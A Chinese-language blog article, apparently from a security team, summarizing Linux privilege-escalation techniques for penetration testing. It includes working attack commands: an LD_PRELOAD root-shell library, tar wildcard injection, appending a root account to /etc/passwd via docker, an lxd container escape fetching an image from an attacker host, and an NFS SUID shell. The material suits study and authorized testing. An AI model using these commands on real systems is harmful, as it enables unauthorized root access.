打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
Linux提权知识点总结

引言



在漏洞挖掘或者渗透过程中,难免遇到提权的需求。提权指在特定用户权限下,对目标信息进行收集,在此基础上,结合一定技术进行利用,从而达到权限提升的目的。本篇文章旨在对各种Linux提权中所用到的技术、工具进行测试总结。

信息收集



在提权过程中,首先需要对目标信息进行尽可能详细地收集,为后续提权利用打下基础。收集的信息一般包括:

上述信息收集皆可通过一些Linux基础命令来帮助完成。如果采用逐个人工获取的方式,不免显得效率太低,可以将信息收集工作整合成自动化脚本来完成。下面对互联网上部分开源提权信息收集工具进行列举:

0x01 LinPEAS

LinPEAS

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

该工具是纯bash脚本,通用性很好,能够收集上述几乎所有的提权信息,足够全面。但运行时间长,效率低,得到的信息虽然全面,但重点不够突出,有较多无用信息,稍显冗杂。具体使用方式为:

./linpeas.sh -a > ./log

0x02 LinuxSmartEnumeration

LinuxSmartEnumeration

https://github.com/diego-treitos/linux-smart-enumeration

该工具也是纯bash脚本,通用性较好,与LinPEAS类似,但收集的信息不如LinPEAS全面,但会关注一些LinPEAS没有关注到的信息,二者可结合使用,保证提权信息的全面性,防止遗漏。具体使用方式为:

./LinEnum.sh -r ./log -t

0x03 BeRoot

BeRoot

https://github.com/AlessandroZ/BeRoot

该工具是python脚本,通用性不好,且其不是独立运行的python脚本,需要依赖其他python脚本,这使得需要下载较多的文件。但在提供可行的提权建议方面表现出色,所以在有python环境时,该工具很值得一试。使用方式为:

python beroot.py > ./log

0x04 linuxprivchecker.py

linuxprivchecker

https://github.com/sleventyeleven/linuxprivchecker

该工具是独立运行的python脚本,收集的提权信息较为精简,可结合使用。使用方式为:

python linuxprivchecker.py -w -o ./log

suid提权



对于常用的Linux程序,如find,如果其带有suid标志,那么可以去GTFOBins网站查询,地址如下:

GTFOBins

https://gtfobins.github.io

查找该suid程序是否可以用来提权,以find为例,去该网站查找,它会提供针对该suid程序的提权方法:

利用此方法,就可以进行suid提权。在一些hackbox环境中,往往会出现一些自写的suid程序,针对这类程序,需要对程序的功能进行分析,然后在程序正常执行时,去利用环境变量等方法劫持程序,从而达到提升权限的目的。例如,当自写suid程序中调用某些系统命令(如ls命令),且调用这些系统命令没有使用绝对路径进行调用,那么可以通过修改环境变量$PATH来劫持该系统命令进行提权。这里需要注意一点就是对于suid的可执行脚本,而非二进制程序,无法通过劫持的方法进行提权。

sudo提权



sudo全称Substitute User and Do,用来临时赋予root权限运行某个程序。sudo的执行原理为:普通用户执行sudo命令时,首先检查`/var/run/sudo/`目录下是否有用户时间戳,centos检查`/var/db/sudo/`目录,并检查是否过期。如果时间戳过期,就需要输入当前用户的密码。输入后检查`/etc/sudoers`配置文件,查看用户是否有sudo权限,如果有则执行sudo命令并返回结果,然后退出sudo返回到普通用户的shell环境。

从上面的原理可以看出,sudo提权的关键就在于sudo相关的配置文件`/etc/sudoers`,根据适用场景的不同,分为以下几种情况:

0x01 sudo用户提权

在当前用户是允许执行sudo操作的用户,并且知道当前用户的密码时,可以直接使用sudo进行提权,最简单的莫过于使用sudo su命令,然后输入当前用户的密码即可完成提权。对于判断当前用户是否是sudo用户,可以通过执行sudo命令是否成功来进行验证。

0x02 sudo程序提权

在当前用户是允许执行sudo操作的用户,而不知道当前用户的密码时,此时可以查看`/etc/sudoers`文件(前提是该文件可读),查看管理员是否配置了某些不需要密码即可使用的命令。以find为例:

someuser ALL=(ALL:ALL) NOPASSWD:/bin/find

`/etc/sudoers`文件中若出现上述内容,则可以使用sudo find进行提权。对于不需要密码即可调用的sudo程序,同样可以使用[GTFOBins](https://gtfobins.github.io),该网站同样会给出相应程序的sudo提权方法,以find为例:

还有一种情况,就是当这些不需要密码即可使用sudo调用的程序无法通过一些方法进行直接的提权时,即在GTFOBins中无法找到该程序的sudo提权方法时,若`/etc/sudoers`文件中有如下配置:

Defaults        env_keep += LD_PRELOAD

即sudo支持`LD_PRELOAD`环境变量,那么就可以在用sudo执行某些命令时,通过劫持共享链接库的方法来达到提权的目的,具体做法为:

  • 将下面的`shell.c`文件编译为共享链接库文件(so文件)

#include <stdio.h>#include <sys/types.h>#include <stdlib.h>void _init() {unsetenv('LD_PRELOAD');setgid(0);setuid(0);system('/bin/sh');}
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
  • 使用`LD_PRELOAD`劫持sudo调用

sudo LD_PRELOAD=/tmp/shell.so somebin

0x03 sudo程序本身提权

sudo作为程序本身,其本身也存在漏洞,近些年来先后曝出sudo程序的漏洞,利用这些漏洞也可以达到提权的目的,但适用性不好,成功率不高,可以作为提权的一种备用思路,在此不做展开。

capabilities提权



capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户`root(UID=0)`关联的特权细分为不同的功能组,capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是 root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。

利用这种机制,在信息收集的过程中,可以收集到具有capabilities的程序,对于这些程序,同样可以借助GTFOBins去查找该程序的capabilities提权方法,以gdb为例:

计划任务提权



计划任务是用户可以安排在特定时间或间隔运行的程序或脚本,计划任务执行的权限是拥有它们的用户的权限。根据应用场景的不同,分为以下几种情况:

0x01 计划任务可控提权

在信息收集过后,可以得到目标的计划任务列表。分析查找高权限计划任务的脚本是否可写,若可写,则可以直接修改进行提权。若不可写,可以查看脚本对应的具体内容,从内容中再次查找分析是否有可写或可控的脚本或程序,如此递归,可以全面的分析是否可以通过修改或劫持计划任务的可控内容进行提权。

0x02 计划任务环境变量提权

默认情况下,crontab的路径环境变量设置为:`/usr/bin:/bin`。但路径变量可以覆盖在crontab文件中。在信息收集过后,如果发现在某些crontab文件中设置了路径环境变量,并且在该路径环境变量中有可控的路径,并且某些计划任务没有使用绝对路径进行执行时,如:

SHELL=/bin/shPATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
1 0 24 * * * bash shell.sh

对于上面的情况,当`/home/user`可控时,就可以在`/home/user`下新建一个名为`shell.sh`的文件,在该文件中写入提权命令即可提权。

0x03 计划任务通配符提权

在信息收集过后,若发现某些计划任务中带有一些通配符,并且带有通配符的路径可控,当该计划任务的执行程序的某些参数可以执行shell命令时,则该计划任务可以用来提权。以tar为例:

SHELL=/bin/shPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
1 0 24 * * * tar cf /home/xxx.tgz /xxx/*

针对上述情况,可以使用下述方法进行提权:

cd /xxx/echo '' > '--checkpoint-action=exec=sh shell.sh'echo '' > '--checkpoint=1'echo '/bin/bash' > shell.sh

对于判断计划任务程序是否具有某些参数可以用来提权时,同样可以借助GTFOBins来进行查询,以tar为例:

0x04 系统计时器提权

由于该系统计时器功能与计划任务类似,所以这里将它们归为一类。可以通过以下命令查看系统的计时器:

systemctl list-timers --all

对于每个计时器,可以查看对应的.service文件来查看计时器对应的具体任务,如果出现可控内容,可以在可控的计时器服务中插入提权操作来实现权限的提升。

可写文件提权



在信息收集过后,可以得到当前用户可写文件列表。需要对可写文件逐一排查,来判断是否存在敏感文件(`/etc/passwd`,root进程调用文件等),若存在,则可以写入提权内容来达到权限提升的效果,该方法较为宽泛,不做具体展开。

第三方程序提权



在信息收集过后,可以得到一些常用的三方程序列表,包括但不限于apache,mysql,docker等。利用这些三方程序的历史漏洞或危险操作,往往可以达到提权的目的。下面仅列举一些有代表性的三方程序因配置不当所导致的提权:

0x01 docker提权

如果多用户借助docker共用一台机器,并且当前用户具有docker组的权限,那么可以直接运行一个镜像获得镜像里面的root权限,然后将镜像外的/etc/passwd映射到镜像内后进行修改,以此来提权。比如:

docker run -it --rm -v $PWD:/mnt bashecho 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd

上述操作就增加了一个root权限账户`toor:password`。

0x02 lxc/lxd提权


lxc是Linux自带的容器,lxd是Linux系统中用于管理lxc容器的API,提供了很多便利的命令来完成创建容器、启动等等操作。它将为本地lxd用户组的任何用户执行任务,然而并没有在用户的权限与要执行的功能之间是否匹配做过多的判断,这也导致lxd可能会被用来权限提升。如果当前用户具有lxd组权限,则可以导入一个镜像,挂载主系统下的磁盘内容,从而提升权限。

git clone  https://github.com/saghul/lxd-alpine-buildercd lxd-alpine-builder./build-alpine# 此命令必须以root用户执行,之后会生成一个tar.gz的压缩包。python3 -m http.server 80
# 目标系统中执行wget http://Your-Vps-IP/alpine-v3.12-x86_64-20200908_2138.tar.gz -O /tmp/alpine-v3.12.tar.gzlxc image import ./alpine-v3.12.tar.gz --alias alpine-v3.12lxc init alpine-v3.12 ignite -c security.privileged=truelxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=truelxc start ignitelxc exec ignite /bin/sh

0x03 NFS提权

在信息收集过后,若目标上开启了NFS共享,则可以使用如下命令检查NFS配置:

cat /etc/exports

如果有no_root_squash这个选项,那么root用户就会对共享目录拥有最高控制权,就像是对本机的目录操作一样。此时可以先用攻击机的root用户挂载目标机器上的NFS共享目录,然后以root用户身份复制攻击机上面的shell到共享目录中,给予suid权限,然后切换到目标机,执行该程序即可。具体操作步骤为:

//执行mkdir /tmp/nfsmount -o rw,vers=3 10.10.10.10:/tmp /tmp/nfscp `which sh` /tmp/nfschmod +s /tmp/nfs/sh
//目标机执行./sh -p

RPATH提权



若一个程序是由高权限用户运行,比如在计划任务中看到某程序由root用户运行,则可以对此程序是否可以使用RPATH提权进行分析。若该程序使用了共享库(可以通过ldd命令查看程序使用了哪些共享库)并且该程序使用了RPATH,可以使用如下命令来查询程序的RPATH值:

objdump -x somebin | grep RPATH

若RPATH对应路径可写可执行,则可以在该路径下伪造该程序使用的共享库文件,由此当该程序运行时,会优先加载RPATH下伪造的共享库文件,由此可以劫持,从而提升权限。

UID提权



某些Linux版本受到一个错误的影响,该错误使`UID>INT_MAX`的用户可以提升权限,一般使用如下命令进行提权:

systemd-run -t /bin/bash

敏感信息提权



该提权方法较为宽泛,可能无法一步就达到想要的效果,但可以利用得到的敏感信息达到逐步扩展权限的目的。下面对几种可能的应用场景进行举例说明:

0x01 关键字信息提权

在信息收集的过程中,会对一些常用关键字(如password、backup、config等)进行大小写不敏感的包括文件名和文件内容的全盘模糊搜索,利用这些可能找到的敏感信息进行进一步提权。如果找到一些密码,可以用这些密码尝试高权限用户登录,往往能达到意想不到的效果。

0x02 ssh秘钥文件提权

在信息收集的过程中,当获取到ssh相关的秘钥文件时,也可能达到权限提升的效果。`id_rsa.pub`文件可以得到相关用户的公钥以及用户名,而`id_rsa`文件记录用户的私钥,当获取私钥后,可进行暴力破解,得到相应用户的登录密码,而且如果私钥没有加密的话,攻击者可以直接使用私钥连接服务器,达到权限提升的目的。

0x03 bash history提权

在信息收集的过程中,若某些.bash_history文件可读,那么就可以看到相应用户的操作命令记录,分析这些信息,有时也可达到权限提升的目的。

0x04 TMUX提权

在信息收集的过程中,如果发现当前用户对tmux socket有读权限,则可以劫持该tmux session来提升权限。例如,对`/tmp/tmux-1000/default`这个`tmux socket`具有读权限,则通过下面的命令可以劫持该tmux会话,并能以该会话的权限执行命令:

export TMUX=/tmp/tmux-1000/default,1234,0tmux ls

操作系统/内核漏洞提权



在信息收集后,可以得到操作系统及内核的版本等详细信息,利用这些信息,可以利用在该版本上适用的相关漏洞尝试提权。在使用该种方法提权时,可以使用一些漏洞的验证脚本先验证漏洞的存在性,然后再根据存在性进行利用,以免出现一些无法控制的操作。

可以使用linux-exploit-suggester或linux-exploit-suggester-2两款工具来辅助内核提权。

linux-exploit-suggester

https://github.com/mzet-/linux-exploit-suggester

linux-exploit-suggester-2

https://github.com/jondonas/linux-exploit-suggester-2

总结



本文仅对当前存在的提权方法和技巧进行总结,方便查阅。

  • 对于suid和sudo程序要尽可能的充分利用

  • 对于可写文件要尽可能的充分利用

  • 尽量不要使用内核漏洞进行提权

参考



https://atsud0.me/2020/04/14/Linux%E6%8F%90%E6%9D%83%E6%96%B9%E5%BC%8F/

https://github.com/swisskyrepo/PayloadsAllTheThings

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

https://github.com/diego-treitos/linux-smart-enumeration

https://github.com/sleventyeleven/linuxprivchecker

https://github.com/rebootuser/LinEnum

https://github.com/AlessandroZ/BeRoot

https://gtfobins.github.io/

https://github.com/mzet-/linux-exploit-suggester

https://github.com/jondonas/linux-exploit-suggester-2

由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,且听安全团队及文章作者不为此承担任何责任。


本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
【Root原理及特性说明】
权限提升 | suid提权及修复方式
ubuntu 12.04 开启NFS服务&设置
精通 Linux 上的文件搜索
22个必须学习的Linux安全命令
Linux 系统中 sudo 命令的 10 个技巧 | Linux 中国
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服